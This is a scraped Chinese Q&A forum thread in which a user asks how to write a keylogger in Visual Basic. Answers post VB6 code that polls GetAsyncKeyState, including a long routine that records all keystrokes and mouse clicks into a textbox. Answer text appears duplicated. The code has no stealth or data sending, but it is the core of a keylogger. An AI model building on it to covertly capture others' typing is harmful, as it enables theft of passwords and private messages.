用VB写一个键盘记录器
如题,复制别人的,就别粘了。。希望高手指点一二。。。不胜感激。。百度知道,是一个交流学习的平台,不是来这里赚分数的。。希望大家明白...
如题,复制别人的,就 别粘了。。希望高手指点一二。。。
不胜感激。。
百度知道,是一个交流学习的平台,不是来这里赚分数的。。希望大家明白 展开
不胜感激。。
百度知道,是一个交流学习的平台,不是来这里赚分数的。。希望大家明白 展开
5个回答
程经理
2025-01-01 广告
2025-01-01 广告
90年代,我国工业标识类行业发展迅猛,标识技术也得到了不断发展和创新,但国产产品在线号机、标牌机方面还处于空白阶段,标签机也落后于国外知名品牌。顺应时代潮流,硕方品牌在2005年于北京创立,以自主研发、产品创新作为企业发展的内在动力,专注于...
点击进入详情页
本回答由程经理提供
展开全部
-_-# 你要做什么
就这点分,还要不能复制啊
我复制一个给你吧
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyF2) Then
MsgBox "你按了F2键!"
End If
End Sub
就这点分,还要不能复制啊
我复制一个给你吧
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyF2) Then
MsgBox "你按了F2键!"
End If
End Sub
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[ALT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[PAUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[CAPS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[ESC]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[END]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[HOME]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[INS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[DEL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[NUM]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
AddKey = ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If
'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(1)
If KeyResult = -32767 Then
AddKey = "[LEFTMOUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "[RIGHTMOUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(16) 'shift键
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32) '回车键
If KeyResult = -32767 Then
AddKey = "[SPACE]"
GoTo KeyFound
End If
KeyLoop = 41
Do Until KeyLoop = 256 ' 显示其他键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound: '显示键的信息
Text1 = Text1 & AddKey
End Sub
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[ALT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[PAUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[CAPS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[ESC]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[END]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[HOME]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[INS]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[DEL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[NUM]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
AddKey = ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If
'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(1)
If KeyResult = -32767 Then
AddKey = "[LEFTMOUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "[RIGHTMOUSE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(16) 'shift键
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32) '回车键
If KeyResult = -32767 Then
AddKey = "[SPACE]"
GoTo KeyFound
End If
KeyLoop = 41
Do Until KeyLoop = 256 ' 显示其他键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound: '显示键的信息
Text1 = Text1 & AddKey
End Sub
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
分数的确太低了
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyF1) Then
MsgBox "你按了F1键!"
End If
If GetAsyncKeyState(vbKeyF2) Then
MsgBox "你按了F2键!"
End If
If GetAsyncKeyState(vbKeyF3) Then
MsgBox "你按了F3键!"
End If
If GetAsyncKeyState(vbKeyF4) Then
MsgBox "你按了F4键!"
End If
If GetAsyncKeyState(vbKeyF5) Then
MsgBox "你按了F5键!"
End If
……
End Sub
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 100
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyF1) Then
MsgBox "你按了F1键!"
End If
If GetAsyncKeyState(vbKeyF2) Then
MsgBox "你按了F2键!"
End If
If GetAsyncKeyState(vbKeyF3) Then
MsgBox "你按了F3键!"
End If
If GetAsyncKeyState(vbKeyF4) Then
MsgBox "你按了F4键!"
End If
If GetAsyncKeyState(vbKeyF5) Then
MsgBox "你按了F5键!"
End If
……
End Sub
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
使用GetAsyncKeyState+Timer控件的方法很容易出错,无法记录高速的按键,而且代码貌似比钩子写起来还累。
我倒是有VB语言写的全局键盘鼠标钩子源码。不过你身为4级经理,不表示点诚意实在有点说不过去。
我倒是有VB语言写的全局键盘鼠标钩子源码。不过你身为4级经理,不表示点诚意实在有点说不过去。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询